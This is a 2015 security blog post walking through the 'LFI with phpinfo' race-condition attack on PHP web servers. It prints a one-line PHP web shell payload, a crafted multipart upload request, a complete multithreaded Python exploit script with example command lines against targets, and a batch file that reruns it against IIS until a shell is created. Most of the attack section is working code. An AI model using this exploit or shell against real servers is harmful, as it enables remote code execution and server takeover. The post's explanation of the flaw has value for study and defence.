Monday, April 13, 2015

Is PHP vulnerable and under what conditions?


We are going to analyze a special method of attacking Web Servers. It is known as LFI with PHP Info vulnerability [1]. It was first publish by Insomnia Sec at 2011. The method clever handles some PHP build-in features (such as upload and wildcards [2]) to accomplish a well formed attach that will end up with an arbitrary code execution (call me remote shell) on the victim's server. Requires two specific flaws on the server: A phpinfo() function must be available along with a LFI vulnerability. By combining the above two, a high risk attack can be implemented. The method has been tested successfully on Windows as well as Linux operating systems on IIS and Apache web servers. The same method failed on NginX web server.


A PHP bug or a feature?

A standard behavior of the php move_uploaded_file() function when you try to upload a file to the server, is that the file is always uploaded into a temporary folder on the server before being processed. According to this, we can say the following general quote: We can upload[*] any file we like in any server supports PHP.
[*]Well, on its temp folder at least.

Since the filename of the temporary file is not known a-priori and the time that this file remains on the temp folder is very short (e few hundredths of a second - depending of the file size and/or the server's processor's performance), we suppose that there is not any security problem here... well, almost. According to the research paper LFI - with phpinfo assistance if the server has an LFI vulnerability along with an exposure of the phpinfo() function then one can detect the name of the temporary file on the server and thus it is vulnerable to a file upload vulnerability. This means that someone could upload an arbitrary file on this server.
I am going to show how this can be done as well as to expose the two methods that I can use in order to accomplish this.

In PHP when we upload a file (to any server!) the actions that performed are shown in the following image (that I borrowed from [3]):


The time frame in yellow, in the above image, is the one that allow us to make actions on the temporary file, such as move, or execute! The trick here is to get or to predict the filename of the temporary file. Once this is done we can craft a special web request that will try to upload on the server a specific code fragment such as the following:

<?php $c=fopen('tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>

Suppose that the above code has been uploaded to the server (i.e. it is uploaded in a temorary file, say XXX.Uknown). If the XXX.Uknown is executed on the server it will create a file (named g) with the following content:
<?php passthru($_GET["f"]);?>

The above is one of the simplest shells ever exists... (and now you know)!

In order to execute the file we need to know the real name of XXX.Uknown. Just for your info, I will show to you how to craft a special web request and send it to the server in order to expose the temp filename. I presuppose that there is a phpinfo() function, forgoten on the server, in file phpinfo.php.

POST /phpinfo.php?a= HTTP/1.1
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=
HTTP_ACCEPT:
HTTP_USER_AGENT:
HTTP_ACCEPT_LANGUAGE:
HTTP_PRAGMA:
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded
0714
Content-Length: 214
Host: xxx.xxx.20.19

-----------------------------7dbff1ded0714
Content-Disposition: form-data; name="dummyname"; filename="test.txt"
Content-Type: text/plain

I am Delta. R u Anadelta?
-----------------------------7dbff1ded0714—

The above request will try to upload to the host "xxx.xxx.20.19" in the filename "test.txt" with the contents "I am Delta. R u Anadelta?" taking advantage of a phpinfo() exposing function in a file "phpinfo.php". When we send the request to the server we can execute the phpinfo.php file. Its results can be seen in the following image.


As you can see, phpinfo() exposes the name of the temporary file!

How to get the temp file programmatically?

There are two main methods to find the name of the temporary file.

Method 1: the findfirst() bug
Microsoft Windows systems are vulnerable to this bug. According to this bug, that was first published at 2007 by Vladimir Vorontsov & Arthur Gerkis (http://onsec.ru/onsec.whitepaper-02.eng.pdf), if a user uses the PHP command "OpenFile MYFILE<<" the "<<" character will be transformed by PHP interpreter to "*", thus the PHP will execute the actual command "OpenFile MYFILE*". In this case the asterisk "*" will be used as a wildcard, so the system will return the first file found at the current directory. Internally the Windows PHP Interpreter will call the API function findfirstfile(). If the current directory is the temp directory, then the system will return the name of the temporary file! The trick here is to get and execute this file while we are in the "yellow time frame"!

Method 2: the multiple requests attack
If you remember the well known Kaminski attack of DNS Spoofing that used multiple requests to "confuse" the DNS server, then you are very close to understand this method.  According to this method we can perform several hundred upload requests to the web server and at the same time we are trying to execute the XXX.Uknown.

I have created a special python program that expose this vulnerability. Actually it is not a "from scratch" creation, but a full modification version of [1]. I have made changes to the following points;

  • The program can run in both Windows & Linux with no modifications.
  • I make use of the urllib2.urlopen for the test of the temp filename existence and the shell existence.
  • It automatically choose the appropriate method of the attack (see Method 1 & 2 above).
  • The attacker can choose (by the use of arguments and/or program variables) many parameters of the attach, ex: the number of A's that the headers will be filled-up, the server type (Windows || Linux), etc.


#!/usr/bin/python 
# myattack.py
# LFI with PHPInfo vulnerability based on PHP upload function.
# (c) Initially published at 2011 by Insomnia Security
# Source: https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
#
# This is new flavor of the program that was initially given.
# (c) Mod/s by Andreas Venieris (aka Thiseas) 2015
#     First Publication in Delta Hacker Magazine #40.
#
#-- Mod/s -----------------------------------------------------------------------------
# [1] Some fixes made when run under Windows and multiple socket errors occurred.
# [2] Add some additional parameters
# [3] Process 'temp' dir as parameter
# [4] Works on both Linux and Windows boxes
# [5] Use urllib2.urlopen for check shell existence
######################################################################################
# Examples of successful attacks: 
# for linux CentOS - Apache
# myattack.py xxx.xxx.xxx.222 8080 50 500 5000 /tmp linux
# for Windows 7 XAMPP
# myattack.py 127.0.0.1 8000 100 500 5000 /xampp/tmp win2
# for Windows 7 WAMP
# myattack.py 127.0.0.1 80 100 1000 1000 /windows/temp win2
# for Windows 7 IIS7, run many times:
# myattack.py 127.0.0.1 80 50 500 50 /windows/temp win2
#
import sys
import threading
import socket
import urllib2

host = 'xxx.xxx.xxx.129'
port=80
numOfThreads = 10
maxattempts = 1000
TEMP_DIR = '/tmp'
OS = 'linux' # Values: linux, win
BUFFER = 5000

if (len(sys.argv) <> 8 and len(sys.argv) > 1):
print "Usage: %s [host] [port] [threads] [max.Attempts] [buffer] [temp_dir] [OS]" % sys.argv[0]
print "ex: %s 127.0.0.1 80 50 1000 5000 /tmp win1|win2|linux" % sys.argv[0]
print "win1 = windows with wildcard method, win2|linux = direct attack"
sys.exit(-1)

if (len(sys.argv) == 8):
host = sys.argv[1]
port=int(sys.argv[2])
numOfThreads = int(sys.argv[3])
maxattempts = int(sys.argv[4])
BUFFER = int(sys.argv[5])
TEMP_DIR = sys.argv[6]
OS = sys.argv[7].strip().lower()

if not (OS in ['linux','win1', 'win2']):
print 'Last parameter belongs to {linux,win}'
sys.exit(-1)

print 'host=%s, port=%d, \nnumOfThreads=%d, maxattempts=%d, TEMP_DIR=%s (%s)\n' % (host,port, numOfThreads, maxattempts, TEMP_DIR, OS)

counter=0
#-------------------------------------------------------------------------------------------------
SHELL_URL = 'http://'+host+':'+str(port)+'/lfi.php?load='+TEMP_DIR+'/g&f='
SHELL_URL_2 =' http://'+host+':'+str(port)+'/lfi.php?load='+TEMP_DIR+'/g&f=whoami'

ATTACH_URL='http://'+host+':'+str(port)+'/lfi.php?load=%s'
ATTACH_URL_WILD='http://'+host+':'+str(port)+'/'+'lfi.php?load='+TEMP_DIR+'/php<<.tmp'

PAYLOAD="""<?php $c=fopen('%s/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % (TEMP_DIR)

REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * BUFFER
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)

LFIREQ="""GET /lfi.php?load=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""

#-------------------------------------------------------------------------------------------------
#
# Try to upload the payload to the server using the temp file.
#
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, SHELL_URL, SHELL_URL_2, ATTACH_URL_WILD, ATTACH_URL):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s.send(phpinforeq)
d = ""

while len(d) < offset:
d += s.recv(offset)
try:
#Get the Temp filename.
# The temp filename PHP creates has different format in windows boxes and in linux.
# In Windows is: phpNNNN.tmp, where NNNN a hexdecimal value in uppercase, ex: php595D.tmp
# In Linux we have: phpXXXXXX, where X aby char in upper,lower,numbers ex: phpcD5rTd
if (OS[0:3] == 'win'):
i = d.index("[tmp_name] =&gt;")
j = d.index(".tmp",i)+4
tmp_filename = d[i+17:j].strip()
else:
i = d.index("[tmp_name] =&gt;")
j = i + 31
tmp_filename = d[i+17:j].strip()
except ValueError:
print 'Ooooooooooooooops Cannot get the temp filename boy!'
return None

# try to call the created temp file using the LFI vulnerability.
url = ''
if OS == 'win1':
url = ATTACH_URL_WILD # METHOD 2: wildcard & findfirstfile: for some windows PHP implementations.
else:
url = ATTACH_URL % tmp_filename # METHOD 1: try to get the filename from phpinfo().

try:
d = urllib2.urlopen(url).read()
except:
pass

s.close()


# Shell Check 1: Check if shell exists based on a warnning message displayed.
data=''
try:
data = urllib2.urlopen(SHELL_URL).read()
except:
pass

if data.find('passthru()') != -1:
return 1
elif len(data)==0:
# Shell Check 2: In case that warnning messages are turned off,
# check if the whois command returns something (so the shell exists)!
data=''
try:
data = urllib2.urlopen(SHELL_URL_2).read()
except:
pass
if len(data) > 0:
return 1

return None

#-------------------------------------------------------------------------------------------------
#
# One time call of phpinfo() for getting the temp file name offset.
#
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)

d = ""
# Get the phpinfo() data chunk by chunk.
while True:
i = s.recv(4096) 
if i == "":
break
d+=i
try:
# the last important part found.
if i.index("license@php.net"):
break
except:
pass

s.close()

try:
i = d.index("[tmp_name] =&gt;")
except ValueError:
print '"[tmp_name] =>" NOT FOUND on phpinfo file!'
sys.exit(-1)

if i == -1:
raise ValueError("No php tmp_name in phpinfo output")

print "found %s at %i." % (d[i:i+10], i)
# padded up a bit
return i+256

#-------------------------------------------------------------------------------------------------
#
# Class to be used in the multi-threading attack.
# It will call the LFI attack n times, see command line parameter [threads].
#
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock =  l
self.maxattempts = m
self.args = args

def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter += 1

try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break                
if (x==1):
print "\nGot it! Shell created in %s/g" % TEMP_DIR
self.event.set()

except socket.error:
#return
counter += 1
pass


#-------------------------------------------------------------------------------------------------
# MAIN PROGRAM BODY
#-------------------------------------------------------------------------------------------------

phpinforeq = REQ1
reqphp = REQ1
lfireq = LFIREQ
reqlfi = LFIREQ
offset = getOffset(host, port, REQ1)
ret = 0

e = threading.Event()
l = threading.Lock()

print "Spawning worker pool (%d)..." % numOfThreads
sys.stdout.flush()

tp = []
for i in range(0,numOfThreads):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, SHELL_URL, SHELL_URL_2, ATTACH_URL_WILD, ATTACH_URL))

for t in tp:
t.start()

try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot!  \m/"
ret = 1
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()

print "Shuttin' down..."
for t in tp:
t.join()

sys.exit(ret)

IIS and a special Case

We must note here a special care mus be taken when attacking IIS. We must reduced the number of A's since I was getting errors from IIS. In addition I realize that the number of iteration were not so important for a successful attack as the number of repeatedly run the exploit itself, indicating that the IIS garbage collector run with a... delay(?!!). So, in order to automate the procedure for IIS attacks I create the following batch file:
@echo off
:START
myattack.py 127.0.0.1 80 50 500 50 /windows/temp win2
SET ERR=%ERRORLEVEL%
IF "%ERR%" == "0" GOTO :REAPPLY
IF "%ERR%" == "1" GOTO :SUCCESS
GOTO :END

:REAPPLY
ECHO ** REAPPLY!
GOTO :START

:SUCCESS
ECHO YEAAAAAAAAA ;) 

:END

Some Screenshots of the attack 

I run the exploit from a Windows 7 box (dedicated to all my friends stuck on... kali ;)  ).


Attack...


Apache Server on CentOS



IIS 7 on Wndows Server

WAMP on Windows 7

XAMPP on Windows 7

A simple Statistic table about the Attack

Λειτουργικό Σύστημα
Web Server
PHP
Version
Result
Windows
WAMPx64 v. 2.5
Apache 2.4.9
5.5.12
Sucess
Windows
XAMPP v.5.6.3
Apache 2.4.10 (win32)
5.6.3
Sucess
Windows
IIS 7
5.5.11
Sucess
Linux (CentOS 6.5) x32
Apache 2.2.15
5.3.3
Sucess
Linux (CentOS 6.5) x64
Apache 2.2.15
5.4.36
Sucess
Linux (CentOS 6.5) x64
NginX 1.6.1
5.4.36
 Fail 

Refererences

[1] LFI with PHP Info assistance by Insomnia Sec., (September 6, 2011).
[2] Oddities of PHP file access in Windows® Cheat-sheet - by by Vladimir Vorontsov & Arthur Gerkis, 12.01.2011
[3] PHP LFI to Arbitrary Code Execution via rfc1867 File Upload Temporary Files

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.